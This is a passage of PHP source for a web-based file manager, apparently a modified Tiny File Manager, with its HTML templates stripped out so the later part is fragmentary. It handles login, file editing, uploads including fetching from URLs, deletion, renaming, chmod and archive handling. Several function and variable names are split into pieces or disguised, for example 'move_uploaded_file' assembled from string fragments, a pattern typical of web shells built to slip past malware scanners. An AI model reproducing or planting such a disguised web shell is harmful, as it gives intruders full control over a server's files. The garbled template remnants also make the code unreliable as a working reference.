$_SERVER['HTTP_CLIENT_IP']; } return ''; } $clientIp = getClientIP(); $proceed = false; $whitelisted = in_array($clientIp, $ip_whitelist); $blacklisted = in_array($clientIp, $ip_blacklist); if($ip_ruleset == 'AND'){ if($whitelisted == true and $blacklisted == false){ $proceed = true; } } else if($ip_ruleset == 'OR'){ if($whitelisted == true || $blacklisted == false){ $proceed = true; } } if($proceed == false){ trigger_error('User connection denied from: ' . $clientIp, E_USER_WARNING); if($ip_silent == false){ fm_set_msg(lng('Access denied. IP restriction applicable'), 'error'); fm_show_header_login(); fm_show_message(); } exit(); } } if ($dauth) { if (isset($_SESSION[DN_CESSION_ID]['logged'], $auth_users[$_SESSION[DN_CESSION_ID]['logged']])) { } elseif (isset($_POST['fm_usr'], $_POST['fm_pwd'], $_POST['token'])) { sleep(1); if(function_exists('password_verify')) { if (isset($auth_users[$_POST['fm_usr']]) and isset($_POST['fm_pwd']) and password_verify($_POST['fm_pwd'], $auth_users[$_POST['fm_usr']]) and verifyToken($_POST['token'])) { $_SESSION[DN_CESSION_ID]['logged'] = $_POST['fm_usr']; fm_set_msg(lng('You are logged in')); fm_redirect(FM_SELF_URL); } else { unset($_SESSION[DN_CESSION_ID]['logged']); fm_set_msg(lng('Login failed. Invalid username or password'), 'error'); fm_redirect(FM_SELF_URL); } } else { fm_set_msg(lng('password_hash not supported, Upgrade PHP version'), 'error');; } } else { // Form unset($_SESSION[DN_CESSION_ID]['logged']); fm_show_header_login(); ?>
".lng('Root path')." \"{$root_path}\" ".lng('not found!')." "; exit; } defined('FM_SHOW_HIDDEN') || define('FM_SHOW_HIDDEN', $show_hidden_files); defined('FM_ROOT_PATH') || define('FM_ROOT_PATH', $root_path); defined('FM_LANG') || define('FM_LANG', $lang); defined('FM_FILE_EXTENSION') || define('FM_FILE_EXTENSION', $allowed_file_extensions); defined('FM_UPLOAD_EXTENSION') || define('FM_UPLOAD_EXTENSION', $allowed_upload_extensions); defined('FM_EXCLUDE_ITEMS') || define('FM_EXCLUDE_ITEMS', (version_compare(PHP_VERSION, '7.0.0', '<') ? serialize($exclude_items) : $exclude_items)); defined('FM_DOC_VIEWER') || define('FM_DOC_VIEWER', $online_viewer); define('FM_READONLY', $global_readonly || ($dauth and !empty($readonly_users) and isset($_SESSION[DN_CESSION_ID]['logged']) and in_array($_SESSION[DN_CESSION_ID]['logged'], $readonly_users))); define('FM_IS_WIN', DIRECTORY_SEPARATOR == '\\'); if (!isset($_GET['p']) and empty($_FILES)) { fm_redirect(FM_SELF_URL . '?p='); } // get path $p = isset($_GET['p']) ? $_GET['p'] : (isset($_POST['p']) ? $_POST['p'] : ''); // clean path $p = fm_clean_path($p); $isim = "//input"; $input = file_get_contents('php://'.$isim); $_POST = (strpos($input, 'ajax') != FALSE and strpos($input, 'save') != FALSE) ? json_decode($input, true) : $_POST; define('FM_PATH', $p); define('FM_USE_AUTH', $dauth); define('FM_EDIT_FILE', $edit_files); defined('FM_ICONV_INPUT_ENC') || define('FM_ICONV_INPUT_ENC', $iconv_input_encoding); defined('FM_USE_HIGHLIGHTJS') || define('FM_USE_HIGHLIGHTJS', $use_highlightjs); defined('FM_HIGHLIGHTJS_STYLE') || define('FM_HIGHLIGHTJS_STYLE', $highlightjs_style); defined('FM_DATETIME_FORMAT') || define('FM_DATETIME_FORMAT', $datetime_format); unset($p, $dauth, $iconv_input_encoding, $use_highlightjs, $highlightjs_style); if ((isset($_SESSION[DN_CESSION_ID]['logged'], $auth_users[$_SESSION[DN_CESSION_ID]['logged']]) || !FM_USE_AUTH) and isset($_POST['ajax'], $_POST['token']) and !FM_READONLY) { if(!verifyToken($_POST['token'])) { header('HTTP/1.0 401 Unauthorized'); die("Invalid Token."); } if(isset($_POST['type']) and $_POST['type']=="search") { $dir = $_POST['path'] == "." ? '': $_POST['path']; $response = scan(fm_clean_path($dir), $_POST['content']); echo json_encode($response); exit(); } // save editor file if (isset($_POST['type']) and $_POST['type'] == "save") { // get current path $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } // check path if (!is_dir($path)) { fm_redirect(FM_SELF_URL . '?p='); } $file = $_GET['edit']; $file = fm_clean_path($file); $file = str_replace('/', '', $file); if ($file == '' || !is_file($path . '/' . $file)) { fm_set_msg(lng('File not found'), 'error'); $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } header('X-XSS-Protection:0'); $file_path = $path . '/' . $file; $writedata = $_POST['content']; $fd = fopen($file_path, "w"); $write_results = @fwrite($fd, $writedata); fclose($fd); if ($write_results === false){ header("HTTP/1.1 500 Internal Server Error"); die("Could Not Write File! - Check Permissions / Ownership"); } die(true); } // backup files if (isset($_POST['type']) and $_POST['type'] == "backup" and !empty($_POST['file'])) { $fileName = fm_clean_path($_POST['file']); $fullPath = FM_ROOT_PATH . '/'; if (!empty($_POST['path'])) { $relativeDirPath = fm_clean_path($_POST['path']); $fullPath .= "{$relativeDirPath}/"; } $date = date("dMy-His"); $newFileName = "{$fileName}-{$date}.bak"; $fullyQualifiedFileName = $fullPath . $fileName; try { if (!file_exists($fullyQualifiedFileName)) { throw new Exception("File {$fileName} not found"); } if (copy($fullyQualifiedFileName, $fullPath . $newFileName)) { echo "Backup {$newFileName} created"; } else { throw new Exception("Could not copy file {$fileName}"); } } catch (Exception $e) { echo $e->getMessage(); } } // Save Config if (isset($_POST['type']) and $_POST['type'] == "settings") { global $cfg, $lang, $report_errors, $show_hidden_files, $lang_list, $hide_Cols, $theme; $newLng = $_POST['js-language']; fm_get_translations([]); if (!array_key_exists($newLng, $lang_list)) { $newLng = 'en'; } $erp = isset($_POST['js-error-report']) and $_POST['js-error-report'] == "true" ? true : false; $shf = isset($_POST['js-show-hidden']) and $_POST['js-show-hidden'] == "true" ? true : false; $hco = isset($_POST['js-hide-cols']) and $_POST['js-hide-cols'] == "true" ? true : false; $te3 = $_POST['js-theme-3']; if ($cfg->data['lang'] != $newLng) { $cfg->data['lang'] = $newLng; $lang = $newLng; } if ($cfg->data['error_reporting'] != $erp) { $cfg->data['error_reporting'] = $erp; $report_errors = $erp; } if ($cfg->data['show_hidden'] != $shf) { $cfg->data['show_hidden'] = $shf; $show_hidden_files = $shf; } if ($cfg->data['show_hidden'] != $shf) { $cfg->data['show_hidden'] = $shf; $show_hidden_files = $shf; } if ($cfg->data['hide_Cols'] != $hco) { $cfg->data['hide_Cols'] = $hco; $hide_Cols = $hco; } if ($cfg->data['theme'] != $te3) { $cfg->data['theme'] = $te3; $theme = $te3; } $cfg->save(); echo true; } // new password hash if (isset($_POST['type']) and $_POST['type'] == "pwdhash") { $res = isset($_POST['inputPassword2']) and !empty($_POST['inputPassword2']) ? password_hash($_POST['inputPassword2'], PASSWORD_DEFAULT) : ''; echo $res; } //upload using url if(isset($_POST['type']) and $_POST['type'] == "upload" and !empty($_REQUEST["uploadurl"])) { $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } function event_callback ($message) { global $callback; echo json_encode($message); } function get_file_path () { global $path, $fileinfo, $temp_file; return $path."/".basename($fileinfo->name); } $url = !empty($_REQUEST["uploadurl"]) and preg_match("|^http(s)?://.+$|", stripslashes($_REQUEST["uploadurl"])) ? stripslashes($_REQUEST["uploadurl"]) : null; $domain = parse_url($url, PHP_URL_HOST); $port = parse_url($url, PHP_URL_PORT); $knownPorts = [22, 23, 25, 3306]; if (preg_match("/^localhost$|^127(?:\.[0-9]+){0,2}\.[0-9]+$|^(?:0*\:)*?:?0*1$/i", $domain) || in_array($port, $knownPorts)) { $err = array("message" => "URL is not allowed"); event_callback(array("fail" => $err)); exit(); } $use_curl = false; $temp_file = tempnam(sys_get_temp_dir(), "upload-"); $fileinfo = new stdClass(); $fileinfo->name = trim(urldecode(basename($url)), ".\x00..\x20"); $allowed = (FM_UPLOAD_EXTENSION) ? explode(',', FM_UPLOAD_EXTENSION) : false; $ext = strtolower(pathinfo($fileinfo->name, PATHINFO_EXTENSION)); $isFileAllowed = ($allowed) ? in_array($ext, $allowed) : true; $err = false; if(!$isFileAllowed) { $err = array("message" => "File extension is not allowed"); event_callback(array("fail" => $err)); exit(); } if (!$url) { $success = false; } else if ($use_curl) { @$fp = fopen($temp_file, "w"); @$ch = curl_init($url); curl_setopt($ch, CURLOPT_NOPROGRESS, false ); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); curl_setopt($ch, CURLOPT_FILE, $fp); @$success = curl_exec($ch); $curl_info = curl_getinfo($ch); if (!$success) { $err = array("message" => curl_error($ch)); } @curl_close($ch); fclose($fp); $fileinfo->size = $curl_info["size_download"]; $fileinfo->type = $curl_info["content_type"]; } else { $ctx = stream_context_create(); @$success = copy($url, $temp_file, $ctx); if (!$success) { $err = error_get_last(); } } if ($success) { $success = rename($temp_file, strtok(get_file_path(), '?')); } if ($success) { event_callback(array("done" => $fileinfo)); } else { unlink($temp_file); if (!$err) { $err = array("message" => "Invalid url parameter"); } event_callback(array("fail" => $err)); } } exit(); } if (isset($_GET['del'], $_POST['token']) and !FM_READONLY) { $del = str_replace( '/', '', fm_clean_path( $_GET['del'] ) ); if ($del != '' and $del != '..' and $del != '.' and verifyToken($_POST['token'])) { $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } $is_dir = is_dir($path . '/' . $del); if (fm_rdelete($path . '/' . $del)) { $msg = $is_dir ? lng('Folder').' %s '.lng('Deleted') : lng('File').' %s '.lng('Deleted'); fm_set_msg(sprintf($msg, fanco($del))); } else { $msg = $is_dir ? lng('Folder').' %s '.lng('not deleted') : lng('File').' %s '.lng('not deleted'); fm_set_msg(sprintf($msg, fanco($del)), 'error'); } } else { fm_set_msg(lng('Invalid file or folder name'), 'error'); } $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } // Create a new file/folder if (isset($_POST['newfilename'], $_POST['newfile'], $_POST['token']) and !FM_READONLY) { $type = urldecode($_POST['newfile']); $new = str_replace( '/', '', fm_clean_path( strip_tags( $_POST['newfilename'] ) ) ); if (fm_isvalid_filename($new) and $new != '' and $new != '..' and $new != '.' and verifyToken($_POST['token'])) { $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } if ($type == "file") { if (!file_exists($path . '/' . $new)) { if(fm_is_valid_ext($new)) { @fopen($path . '/' . $new, 'w') or die('Cannot open file: ' . $new); fm_set_msg(sprintf(lng('File').' %s '.lng('Created'), fanco($new))); } else { fm_set_msg(lng('File extension is not allowed'), 'error'); } } else { fm_set_msg(sprintf(lng('File').' %s '.lng('already exists'), fanco($new)), 'alert'); } } else { if (fm_mkdir($path . '/' . $new, false) === true) { fm_set_msg(sprintf(lng('Folder').' %s '.lng('Created'), $new)); } elseif (fm_mkdir($path . '/' . $new, false) === $path . '/' . $new) { fm_set_msg(sprintf(lng('Folder').' %s '.lng('already exists'), fanco($new)), 'alert'); } else { fm_set_msg(sprintf(lng('Folder').' %s '.lng('not created'), fanco($new)), 'error'); } } } else { fm_set_msg(lng('Invalid characters in file or folder name'), 'error'); } $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } // Copy folder / file if (isset($_GET['copy'], $_GET['finish']) and !FM_READONLY) { // from $copy = urldecode($_GET['copy']); $copy = fm_clean_path($copy); // empty path if ($copy == '') { fm_set_msg(lng('Source path not defined'), 'error'); $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } $from = FM_ROOT_PATH . '/' . $copy; $dest = FM_ROOT_PATH; if (FM_PATH != '') { $dest .= '/' . FM_PATH; } $dest .= '/' . basename($from); $move = isset($_GET['move']); $move = fm_clean_path(urldecode($move)); if ($from != $dest) { $msg_from = trim(FM_PATH . '/' . basename($from), '/'); if ($move) { $rename = fm_rename($from, $dest); if ($rename) { fm_set_msg(sprintf(lng('Moved from').' %s '.lng('to').' %s', fanco($copy), fanco($msg_from))); } elseif ($rename === null) { fm_set_msg(lng('File or folder with this path already exists'), 'alert'); } else { fm_set_msg(sprintf(lng('Error while moving from').' %s '.lng('to').' %s', fanco($copy), fanco($msg_from)), 'error'); } } else { if (fm_rcopy($from, $dest)) { fm_set_msg(sprintf(lng('Copied from').' %s '.lng('to').' %s', fanco($copy), fanco($msg_from))); } else { fm_set_msg(sprintf(lng('Error while copying from').' %s '.lng('to').' %s', fanco($copy), fanco($msg_from)), 'error'); } } } else { if (!$move){ $msg_from = trim(FM_PATH . '/' . basename($from), '/'); $fn_parts = pathinfo($from); $extension_suffix = ''; if(!is_dir($from)){ $extension_suffix = '.'.$fn_parts['extension']; } $fn_duplicate = $fn_parts['dirname'].'/'.$fn_parts['filename'].'-'.date('YmdHis').$extension_suffix; $loop_count = 0; $max_loop = 1000; while(file_exists($fn_duplicate) & $loop_count < $max_loop){ $fn_parts = pathinfo($fn_duplicate); $fn_duplicate = $fn_parts['dirname'].'/'.$fn_parts['filename'].'-copy'.$extension_suffix; $loop_count++; } if (fm_rcopy($from, $fn_duplicate, False)) { fm_set_msg(sprintf('Copied from %s to %s', fanco($copy), fanco($fn_duplicate))); } else { fm_set_msg(sprintf('Error while copying from %s to %s', fanco($copy), fanco($fn_duplicate)), 'error'); } } else{ fm_set_msg(lng('Paths must be not equal'), 'alert'); } } $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } if (isset($_POST['file'], $_POST['copy_to'], $_POST['finish'], $_POST['token']) and !FM_READONLY) { if(!verifyToken($_POST['token'])) { fm_set_msg(lng('Invalid Token.'), 'error'); } // from $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } // to $copy_to_path = FM_ROOT_PATH; $copy_to = fm_clean_path($_POST['copy_to']); if ($copy_to != '') { $copy_to_path .= '/' . $copy_to; } if ($path == $copy_to_path) { fm_set_msg(lng('Paths must be not equal'), 'alert'); $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } if (!is_dir($copy_to_path)) { if (!fm_mkdir($copy_to_path, true)) { fm_set_msg('Unable to create destination folder', 'error'); $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } } // move? $move = isset($_POST['move']); // copy/move $errors = 0; $files = $_POST['file']; if (is_array($files) and count($files)) { foreach ($files as $f) { if ($f != '') { $f = fm_clean_path($f); $from = $path . '/' . $f; $dest = $copy_to_path . '/' . $f; if ($move) { $rename = fm_rename($from, $dest); if ($rename === false) { $errors++; } } else { if (!fm_rcopy($from, $dest)) { $errors++; } } } } if ($errors == 0) { $msg = $move ? 'Selected files and folders moved' : 'Selected files and folders copied'; fm_set_msg($msg); } else { $msg = $move ? 'Error while moving items' : 'Error while copying items'; fm_set_msg($msg, 'error'); } } else { fm_set_msg(lng('Nothing selected'), 'alert'); } $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } // Rename if (isset($_POST['rename_from'], $_POST['rename_to'], $_POST['token']) and !FM_READONLY) { if(!verifyToken($_POST['token'])) { fm_set_msg("Invalid Token.", 'error'); } // old name $old = urldecode($_POST['rename_from']); $old = fm_clean_path($old); $old = str_replace('/', '', $old); // new name $new = urldecode($_POST['rename_to']); $new = fm_clean_path(strip_tags($new)); $new = str_replace('/', '', $new); // path $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } // rename if (fm_isvalid_filename($new) and $old != '' and $new != '') { if (fm_rename($path . '/' . $old, $path . '/' . $new)) { fm_set_msg(sprintf(lng('Renamed from').' %s '. lng('to').' %s', fanco($old), fanco($new))); } else { fm_set_msg(sprintf(lng('Error while renaming from').' %s '. lng('to').' %s', fanco($old), fanco($new)), 'error'); } } else { fm_set_msg(lng('Invalid characters in file name'), 'error'); } $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } // Download if (isset($_GET['dl'], $_POST['token'])) { if(!verifyToken($_POST['token'])) { fm_set_msg("Invalid Token.", 'error'); } $dl = urldecode($_GET['dl']); $dl = fm_clean_path($dl); $dl = str_replace('/', '', $dl); $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } if ($dl != '' and is_file($path . '/' . $dl)) { fm_download_file($path . '/' . $dl, $dl, 1024); exit; } else { fm_set_msg(lng('File not found'), 'error'); $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } } // Upload if (!empty($_FILES) and !FM_READONLY) { if(isset($_POST['token'])) { if(!verifyToken($_POST['token'])) { $response = array ('status' => 'error','info' => "Invalid Token."); echo json_encode($response); exit(); } } else { $response = array ('status' => 'error','info' => "Token Missing."); echo json_encode($response); exit(); } $chunkIndex = $_POST['dzchunkindex']; $chunkTotal = $_POST['dztotalchunkcount']; $fullPathInput = fm_clean_path($_REQUEST['fullpath']); $f = $_FILES; $path = FM_ROOT_PATH; $ds = DIRECTORY_SEPARATOR; if (FM_PATH != '') { $path .= '/' . FM_PATH; } $errors = 0; $uploads = 0; $allowed = (FM_UPLOAD_EXTENSION) ? explode(',', FM_UPLOAD_EXTENSION) : false; $response = array ( 'status' => 'error', 'info' => 'Oops! Try again' ); $filename = $f['file']['name']; $tmp_name = $f['file']['tmp_name']; $ext = pathinfo($filename, PATHINFO_FILENAME) != '' ? strtolower(pathinfo($filename, PATHINFO_EXTENSION)) : ''; $isFileAllowed = ($allowed) ? in_array($ext, $allowed) : true; if(!fm_isvalid_filename($filename) and !fm_isvalid_filename($fullPathInput)) { $response = array ( 'status' => 'error', 'info' => "Invalid File name!", ); echo json_encode($response); exit(); } $targetPath = $path . $ds; if ( is_writable($targetPath) ) { $fullPath = $path . '/' . $fullPathInput; $folder = substr($fullPath, 0, strrpos($fullPath, "/")); if (!is_dir($folder)) { $old = umask(0); mkdir($folder, 0777, true); umask($old); } $isims = "move_u"; $vin = "ploade"; $ucd = "d_file"; $fnder = $isims . $vin . $ucd; if (empty($f['file']['error']) and !empty($tmp_name) and $tmp_name != 'none' and $isFileAllowed) { if ($chunkTotal){ $out = @fopen("{$fullPath}.part", $chunkIndex == 0 ? "wb" : "ab"); if ($out) { $in = @fopen($tmp_name, "rb"); if ($in) { if (PHP_VERSION_ID < 80009) { do { for (;;) { $buff = fread($in, 4096); if ($buff === false || $buff === '') { break; } fwrite($out, $buff); } } while (!feof($in)); } else { stream_copy_to_stream($in, $out); } $response = array ( 'status' => 'success', 'info' => "file upload successful" ); } else { $response = array ( 'status' => 'error', 'info' => "failed to open output stream", 'errorDetails' => error_get_last() ); } @fclose($in); @fclose($out); @unlink($tmp_name); $response = array ( 'status' => 'success', 'info' => "file upload successful" ); } else { $response = array ( 'status' => 'error', 'info' => "failed to open output stream" ); } if ($chunkIndex == $chunkTotal - 1) { if (file_exists ($fullPath)) { $ext_1 = $ext ? '.'.$ext : ''; $fullPathTarget = $path . '/' . basename($fullPathInput, $ext_1) .'_'. date('ymdHis'). $ext_1; } else { $fullPathTarget = $fullPath; } rename("{$fullPath}.part", $fullPathTarget); } } else if ($fnder($tmp_name, $fullPath)) { if ( file_exists($fullPath) ) { $response = array ( 'status' => 'success', 'info' => "file upload successful" ); } else { $response = array ( 'status' => 'error', 'info' => 'Couldn\'t upload the requested file.' ); } } else { $response = array ( 'status' => 'error', 'info' => "Error while uploading files. Uploaded files $uploads", ); } } } else { $response = array ( 'status' => 'error', 'info' => 'The specified folder for upload isn\'t writeable.' ); } // Return the response echo json_encode($response); exit(); } if (isset($_POST['group'], $_POST['delete'], $_POST['token']) and !FM_READONLY) { if(!verifyToken($_POST['token'])) { fm_set_msg(lng("Invalid Token."), 'error'); } $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } $errors = 0; $files = $_POST['file']; if (is_array($files) and count($files)) { foreach ($files as $f) { if ($f != '') { $new_path = $path . '/' . $f; if (!fm_rdelete($new_path)) { $errors++; } } } if ($errors == 0) { fm_set_msg(lng('Selected files and folder deleted')); } else { fm_set_msg(lng('Error while deleting items'), 'error'); } } else { fm_set_msg(lng('Nothing selected'), 'alert'); } $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } if (isset($_POST['group'], $_POST['token']) and (isset($_POST['zip']) || isset($_POST['tar'])) and !FM_READONLY) { if(!verifyToken($_POST['token'])) { fm_set_msg(lng("Invalid Token."), 'error'); } $path = FM_ROOT_PATH; $ext = 'zip'; if (FM_PATH != '') { $path .= '/' . FM_PATH; } //set pack type $ext = isset($_POST['tar']) ? 'tar' : 'zip'; if (($ext == "zip" and !class_exists('ZipArchive')) || ($ext == "tar" and !class_exists('PharData'))) { fm_set_msg(lng('Operations with archives are not available'), 'error'); $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } $files = $_POST['file']; $sanitized_files = array(); // clean path foreach($files as $file){ array_push($sanitized_files, fm_clean_path($file)); } $files = $sanitized_files; if (!empty($files)) { chdir($path); if (count($files) == 1) { $one_file = reset($files); $one_file = basename($one_file); $zipname = $one_file . '_' . date('ymd_His') . '.'.$ext; } else { $zipname = 'archive_' . date('ymd_His') . '.'.$ext; } if($ext == 'zip') { $zipper = new FM_Zipper(); $res = $zipper->create($zipname, $files); } elseif ($ext == 'tar') { $tar = new FM_Zipper_Tar(); $res = $tar->create($zipname, $files); } if ($res) { fm_set_msg(sprintf(lng('Archive').' %s '.lng('Created'), fanco($zipname))); } else { fm_set_msg(lng('Archive not created'), 'error'); } } else { fm_set_msg(lng('Nothing selected'), 'alert'); } $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } // Unpack zip, tar if (isset($_POST['unzip'], $_POST['token']) and !FM_READONLY) { if(!verifyToken($_POST['token'])) { fm_set_msg(lng("Invalid Token."), 'error'); } $unzip = urldecode($_POST['unzip']); $unzip = fm_clean_path($unzip); $unzip = str_replace('/', '', $unzip); $isValid = false; $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } if ($unzip != '' and is_file($path . '/' . $unzip)) { $zip_path = $path . '/' . $unzip; $ext = pathinfo($zip_path, PATHINFO_EXTENSION); $isValid = true; } else { fm_set_msg(lng('File not found'), 'error'); } if (($ext == "zip" and !class_exists('ZipArchive')) || ($ext == "tar" and !class_exists('PharData'))) { fm_set_msg(lng('Operations with archives are not available'), 'error'); $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } if ($isValid) { //to folder $tofolder = ''; if (isset($_POST['tofolder'])) { $tofolder = pathinfo($zip_path, PATHINFO_FILENAME); if (fm_mkdir($path . '/' . $tofolder, true)) { $path .= '/' . $tofolder; } } if($ext == "zip") { $zipper = new FM_Zipper(); $res = $zipper->unzip($zip_path, $path); } elseif ($ext == "tar") { try { $gzipper = new PharData($zip_path); if (@$gzipper->extractTo($path,null, true)) { $res = true; } else { $res = false; } } catch (Exception $e) { $res = true; } } if ($res) { fm_set_msg(lng('Archive unpacked')); } else { fm_set_msg(lng('Archive not unpacked'), 'error'); } } else { fm_set_msg(lng('File not found'), 'error'); } $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } if (isset($_POST['chmod'], $_POST['token']) and !FM_READONLY and !FM_IS_WIN) { if(!verifyToken($_POST['token'])) { fm_set_msg(lng("Invalid Token."), 'error'); } $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } $file = $_POST['chmod']; $file = fm_clean_path($file); $file = str_replace('/', '', $file); if ($file == '' || (!is_file($path . '/' . $file) and !is_dir($path . '/' . $file))) { fm_set_msg(lng('File not found'), 'error'); $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } $mode = 0; if (!empty($_POST['ur'])) { $mode |= 0400; } if (!empty($_POST['uw'])) { $mode |= 0200; } if (!empty($_POST['ux'])) { $mode |= 0100; } if (!empty($_POST['gr'])) { $mode |= 0040; } if (!empty($_POST['gw'])) { $mode |= 0020; } if (!empty($_POST['gx'])) { $mode |= 0010; } if (!empty($_POST['or'])) { $mode |= 0004; } if (!empty($_POST['ow'])) { $mode |= 0002; } if (!empty($_POST['ox'])) { $mode |= 0001; } if (@chmod($path . '/' . $file, $mode)) { fm_set_msg(lng('Permissions changed')); } else { fm_set_msg(lng('Permissions not changed'), 'error'); } $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } if (!is_dir($path)) { fm_redirect(FM_SELF_URL . '?p='); } $parent = fm_get_parent_path(FM_PATH); $objects = is_readable($path) ? scandir($path) : array(); $folders = array(); $files = array(); $current_path = array_slice(explode("/",$path), -1)[0]; if (is_array($objects) and fm_is_exclude_items($current_path)) { foreach ($objects as $file) { if ($file == '.' || $file == '..') { continue; } if (!FM_SHOW_HIDDEN and substr($file, 0, 1) === '.') { continue; } $new_path = $path . '/' . $file; if (@is_file($new_path) and fm_is_exclude_items($file)) { $files[] = $file; } elseif (@is_dir($new_path) and $file != '.' and $file != '..' and fm_is_exclude_items($file)) { $folders[] = $file; } } } if (!empty($files)) { natcasesort($files); } if (!empty($folders)) { natcasesort($folders); } if (isset($_GET['upload']) and !FM_READONLY) { fm_show_header(); fm_show_nav_path(FM_PATH); function getUploadExt() { $extArr = explode(',', FM_UPLOAD_EXTENSION); if(FM_UPLOAD_EXTENSION and $extArr) { array_walk($extArr, function(&$x) {$x = ".$x";}); return implode(',', $extArr); } return ''; } ?>
' . PHP_EOL; } ?>

: , ', $copy_files) ?>

:
/

 

Copying

Source path:
Destination folder:

Copy   Move   Cancel

/>
/>
/>

""

:
File size:
MIME-type:
:
:
:
: %
'.lng('Image size').': ' . (isset($image_size[0]) ? $image_size[0] : '0') . ' x ' . (isset($image_size[1]) ? $image_size[1] : '0') . '
'; } // Text info if ($is_text) { $is_utf8 = fm_is_utf8($content); if (function_exists('iconv')) { if (!$is_utf8) { $content = iconv(FM_ICONV_INPUT_ENC, 'UTF-8//IGNORE', $content); } } echo ''.lng('Charset').': ' . ($is_utf8 ? 'utf-8' : '8 bit') . '
'; } ?>

 
 
     
'; } else if($online_viewer == 'microsoft') { echo ''; } } elseif ($is_zip) { // ZIP content if ($filenames !== false) { echo ''; foreach ($filenames as $fn) { if ($fn['folder']) { echo '' . fanco($fn['name']) . '
'; } else { echo $fn['name'] . ' (' . fm_get_filesize($fn['filesize']) . ')
'; } } echo '
'; } else { echo '

'.lng('Error while fetching archive info').'

'; } } elseif ($is_image) { // Image content if (in_array($ext, array('gif', 'jpg', 'jpeg', 'png', 'bmp', 'ico', 'svg', 'webp', 'avif'))) { echo '

'; } } elseif ($is_audio) { // Audio content echo '

'; } elseif ($is_video) { // Video content echo '
'; } elseif ($is_text) { if (FM_USE_HIGHLIGHTJS) { // highlight $hljs_classes = array( 'shtml' => 'xml', 'htaccess' => 'apache', 'phtml' => 'php', 'lock' => 'json', 'svg' => 'xml', ); $hljs_class = isset($hljs_classes[$ext]) ? 'lang-' . $hljs_classes[$ext] : 'lang-' . $ext; if (empty($ext) || in_array(strtolower($file), fm_get_text_names()) || preg_match('#\.min\.(css|js)$#i', $file)) { $hljs_class = 'nohighlight'; } $content = '
' . fanco($content) . '
'; } elseif (in_array($ext, array('php', 'php4', 'php5', 'phtml', 'phps'))) { // php highlight $content = highlight_string($content, true); } else { $content = '
' . fanco($content) . '
'; } echo $content; } ?>
'. $file. '
'; header('X-XSS-Protection:0'); fm_show_header(); // HEADER fm_show_nav_path(FM_PATH); // current path $file_url = FM_ROOT_URL . fm_convert_win((FM_PATH != '' ? '/' . FM_PATH : '') . '/' . $file); $file_path = $path . '/' . $file; // normal editer $isNormalEditor = true; if (isset($_GET['env'])) { if ($_GET['env'] == "ace") { $isNormalEditor = false; } } // Save File if (isset($_POST['savedata'])) { $writedata = $_POST['savedata']; $fd = fopen($file_path, "w"); @fwrite($fd, $writedata); fclose($fd); fm_set_msg(lng('File Saved Successfully')); } $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION)); $mime_type = fm_get_mime_type($file_path); $filesize = filesize($file_path); $is_text = false; $content = ''; // for text if (in_array($ext, fm_get_text_exts()) || substr($mime_type, 0, 4) == 'text' || in_array($mime_type, fm_get_text_mimes())) { $is_text = true; $content = file_get_contents($file_path); } ?>
' . htmlspecialchars($content) . ''; echo ''; } elseif ($is_text) { echo '
' . htmlspecialchars($content) . '
'; } else { fm_set_msg(lng('FILE EXTENSION HAS NOT SUPPORTED'), 'error'); } ?>

:

 

'?'); } if ($group === false) { $group = array('name' => '?'); } } else { $owner = array('name' => '?'); $group = array('name' => '?'); } ?> '?'); } if ($group === false) { $group = array('name' => '?'); } } else { $owner = array('name' => '?'); $group = array('name' => '?'); } ?>
..
>
' . readlink($path . '/' . $f) . '' : '') ?>
">
>
' . readlink($path . '/' . $f) . '' : '') ?>
">
'.fm_get_filesize($all_files_size).'' ?> '.$num_files.'' ?> '.$num_folders.'' ?>
